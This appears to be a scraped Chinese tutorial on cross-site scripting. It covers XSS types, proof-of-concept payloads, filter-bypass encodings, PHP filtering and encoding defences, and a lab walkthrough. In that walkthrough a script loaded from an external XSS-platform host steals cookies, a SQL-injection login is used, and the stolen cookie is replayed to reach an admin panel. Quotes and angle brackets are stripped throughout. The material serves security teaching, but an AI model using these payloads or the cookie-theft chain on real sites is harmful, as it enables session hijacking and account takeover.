广州市城乡建设局网站如何免费自己建网站
news/
2025/9/23 1:30:03/
文章来源:
广州市城乡建设局网站,如何免费自己建网站,wordpress templateredirect,网站专业好找工作吗文章目录 1、跨站 脚本攻击1.1、漏洞描述1.2、漏洞原理1.3、漏洞危害1.4、漏洞验证1.5、漏洞分类1.5.1、反射性XSS1.5.2、存储型XSS1.5.3、DOM型XSS 2、XSS攻防2.1、XSS构造2.1.1、利用2.1.2、JavaScript伪协议2.1.3、时间响应 2.2、XSS变形方式2.2.1、大小写转换2.2.2… 文章目录 1、跨站 脚本攻击1.1、漏洞描述1.2、漏洞原理1.3、漏洞危害1.4、漏洞验证1.5、漏洞分类1.5.1、反射性XSS1.5.2、存储型XSS1.5.3、DOM型XSS 2、XSS攻防2.1、XSS构造2.1.1、利用2.1.2、JavaScript伪协议2.1.3、时间响应 2.2、XSS变形方式2.2.1、大小写转换2.2.2、关键字双写2.2.3、对伪协议进行转码2.2.4、插入其他编码2.2.5、引号的使用2.2.6、/ 代替空格2.2.7、拆分跨站 2.3、XSS的防御2.3.1、输入过滤2.3.2、输出编码2.3.3、黑白名单策略2.3.4、防御DOM型XSS2.3.5、测试代码 3、XSS攻防案例3.1、固定会话3.2、XSS 平台3.3、窃取3.4、欺骗3.5、影响3.6、防御 1、跨站 脚本攻击
1.1、漏洞描述
跨站点脚本Cross Site Scripting XSS是指客户端代码注入攻击攻击者可以在合法网站或Web 应用程序中执行恶意脚本。当web 应用程序在其生成的输出中使用未经验证或未编码的用户输入时就会发生XSS。
跨站脚本攻击XSS (Cross Site Scripting)。由于与CSS (Cascading Style Sheet) 重名所以就更名为XSS。 XSS 作为OWASP TOP 102017内容之一主要使用JavaSript 来完成恶意攻击的行为JS 可以非常灵活的操纵HTML、CSS、浏览器这就使得XSS 攻击“想象”空间非常大。也就是说JS 强大的灵活性和功能为XSS 攻击提供了非常广阔的攻击面。
1.2、漏洞原理
XSS 通过将精心构造的代码JavaScript注入到网页中并由浏览器解释运行这段JS 代码以达到恶意攻击的效果。当用户访问被XSS 脚本注入过的网页XSS 脚本就会被提取出来用户浏览器就会解析执行这段代码也就是说用户被攻击了。整个XSS 攻击过程涉及三个角色 服务器 攻击者 客户端浏览器用户前端 搜索框、登录框、微博、留言板、聊天室等等收集用户输入的地方都有可能被注入XSS 代码都存在遭受XSS 的风险。 等待受害者访问被注入恶意代码的页面很被动盲打。 XSS 攻击目标是客户端浏览器用户由于浏览器的类别不同攻击效果不同甚至于同一款浏览器攻击效果都不一样。 1.3、漏洞危害
XSS 是利用JS 代码实现攻击有很多危害盗取各种用户账号窃取用户Cookie 资料冒充用户身份进入网站劫持用户会话执行任意操作刷流量执行弹窗广告传播蠕虫病毒。。。。。。
1.4、漏洞验证
可以使用一段简单的代码验证和检测漏洞的存在这样的代码叫做POCProof of Concept。验证XSS 漏洞存在的POC 如下
scriptalert(/xss/);/script
scriptconfirm(/xss/);/script
scriptconfirm(xss);/script
scriptprompt(xss);/script1.5、漏洞分类
反射性存储型DOM型
1.5.1、反射性XSS
非持久性、参数型的跨站脚本。反射型XSS 的代码在Web 应用的参数中例如搜索框的反射型XSS。
注意到反射型XSS 代码出现在keywords 参数中。
http://127.0.0.1/cms/search.php?
keywords%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3Ebutton%E6%90%9C%E7%B4%A2容易被发现利用难度高很多漏洞提交平台不收反射型XSS 漏洞。
1.5.2、存储型XSS
持久性跨站脚本。持久性体现在XSS 代码不是在某个参数变量中而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方可以在留言板位置进行留言将恶意代码写进数据库中。
危害面比较广漏洞提交平台会接收此类漏洞。
1.5.3、DOM型XSS
DOM 型XSS 是一种XSS 攻击其中攻击的代码是由于修改受害者浏览器页面的DOM 树而执行的。特殊的地方就是攻击代码(payload) 在浏览器本地修改DOM 树而执行并不会将payload 上传到服务器这也使得DOM 型XSS 比较难以检测。
注意
修改DOM 树执行采用# 号的方式参数不会提交到服务器。
2、XSS攻防
2.1、XSS构造
2.1.1、利用
img src https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u2866847033,2297252904fm26gp0.jpg
scriptalert(/xss/)/script2.1.2、JavaScript伪协议
可以通过URL 载入资源的标签
伪协议不同于因特网上所真实存在的协议如http://https://ftp://
而是为关联应用程序而使用的.如:tencent://(关联QQ)data:(用base64编码来在浏览器端输出二进制文件)还有就是javascript:
我们可以在浏览地址栏里输入javascript:alert(XSS);点转到后会发现实际上是把javascript:后面的代码当JavaScript来执行并将结果值返回给当前页面。
a href javascript:alert(/xss/) click me!/a
img src javascript:alert(/xss/) !-- IE6 --XSS 攻击的是浏览器受前端影响比较大。浏览器的类型版本等因素都会影响XSS 的效果。
2.1.3、时间响应
Cross-site scripting (XSS) cheat sheet
事件类型说明Keyboard 事件键盘事件Mouse 事件鼠标事件Media 事件由多媒体触发的事件Form 事件HTML 表单内触发的事件window 事件对window 对象触发的事件
img src # onmouseover alert(/dont touch me!/)input type text onkeydown alert(/xss/)input type text onkeyup alert(/xss/)svg onloadalert(/xss/)input onfocusalert(/xss/) autofocus2.2、XSS变形方式
cms 网站搜索框存在反射性XSS 漏洞POC 如下
scriptalert(/xss/)/script尝试在代码角度对XSS 漏洞进行修复修改 /cms/search.php 文件对$_GET[keywords]进行过滤代码如下
$keyword $_GET[keywords];
// $keyword str_replace(script, , $keyword);
// $keyword preg_replace(/script/i, , $keyword);
$keyword preg_replace(/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, , $keyword);
// $keyword str_replace(on, o_n, $keyword);
$keyword preg_replace(/on/i, o_n, $keyword);
// $keyword str_replace(, , $keyword);
// $keyword str_replace(, , $keyword);
$keyword htmlspecialchars($keyword);
echo $keyword;2.2.1、大小写转换
浏览器对HTML 标签大小写不敏感。
ScRiPtalert(/xss/)/script
img ONerror alert(/xss/) src #2.2.2、关键字双写
绕过一次过滤
scrscriptiptalert(/xss/)/script2.2.3、对伪协议进行转码
HTML 编码
字母ASCII码十进制编码十六进制编码a97#97;#x61;c99#99;#x63;e101#101;#x65;
a
href #x6a;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;:alert(/xss/)
demo/a其他编码:
utf-8 编码utf-7 编码
2.2.4、插入其他编码
可以将以下字符插入到任意位置
字符编码Tab#9;换行#10;回车#13;
a href j#9;avasc#10;r#13;ipt:alert(/xss/)click me!/a将以下字符插入到头部位置
字符编码SOH#01;STX#02;
a href #01;#02;j#9;avasc#10;r#13;ipt:alert(/xss/)click me!/a2.2.5、引号的使用
HTML 语言对引号的使用要求不严格
没有引号单引号双引号
Img sRc# OnErRoRalert(/xss/);
Img sRc # OnErRoRalert(/xss/)
Img sRc # OnErRoRalert(/xss/)2.2.6、/ 代替空格
Img/sRc#/OnErRoRalert(/xss/)2.2.7、拆分跨站
将一段JS 代码拆成多段。
scriptzalert/script
scriptz(/xss/)/script
scripteval(z)/scriptscripteval(alert(/xss/))/script
2.3、XSS的防御
XSS 过滤器的作用是过滤用户浏览器客户端提交的有害信息从而达到防范XSS 攻击的效果
2.3.1、输入过滤
永远不要相信用户的输入。
1、输入验证对用户提交的信息进行“有效性”验证。 仅接受指定长度 仅包含合法字符 仅接收指定范围 特殊的格式例如email、IP 地址。
2、数据清洗过滤或净化掉有害的输入
?php
// echo $_GET[keywords];$keywords $_GET[keywords];
$keywords strtolower($keywords);
$keywords str_replace(on, , $keywords);
$keywords str_replace(script, , $keywords);
$keywords str_replace(, , $keywords);
$keywords str_replace(, , $keywords); echo $keywords;
?2.3.2、输出编码
HTML 编码是HTML 实体编码。
$keywords htmlspecialchars( $_GET[ keywords ] );PHP htmlspecialchars() 函数
2.3.3、黑白名单策略
不管是采用输入过滤还是输出编码都是针对用户提交的信息进行黑、白名单式的过滤
黑名单非允许的内容白名单允许的内容
2.3.4、防御DOM型XSS
避免客户端文档重写重定向或其他敏感操作
2.3.5、测试代码
sCrScRiPtIPTOonN\/(hrHRefEF)/sCr/ScRiPtIPT3、XSS攻防案例
3.1、固定会话
用户会话令牌利用Cookie 来实现的Cookie 是存储在浏览器端的一小段文本相当于身份证会有窃取和欺骗的风险。可以利用XSS 攻击窃取到浏览器里的Cookie 信息。
由于XXS 触发需要浏览器客户端用户受害者参与攻击者不清楚何时何地会触发漏洞这个过程一般被成为XSS 盲打。
3.2、XSS 平台
https://xss.pt/ 3.3、窃取
从XSS平台里复制一段代码
sCRiPt sRC//0x.ax/Z2mua2/sCrIpT利用万能用户名的方式进入后台管理员界面密码随意输入
li or 11#可以看到留言的消息 然后去XSS平台上看看有没有窃取的Cookie信息 cookie : usernameli%27 or 1%3D1%23; userid13.4、欺骗
来到登录界面F12打开控制台 document.cookieuserid1
document.cookieusernameli%27 or 1%3D1%23 访问cms的admin目录
http://192.168.80.139/cms/admin/
成功利用Cookie欺骗进行登录 3.5、影响
黑客可以利用Cookie 信息也就是身份凭据登录后台即使管理员注销登录会话依然有效即使管理员修改了密码会话依然有效。
3.6、防御
根据实际情况采用“单点登录”采用Session 机制设置token 值对Cookie 数据设置HttpOnly 属性
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/911001.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!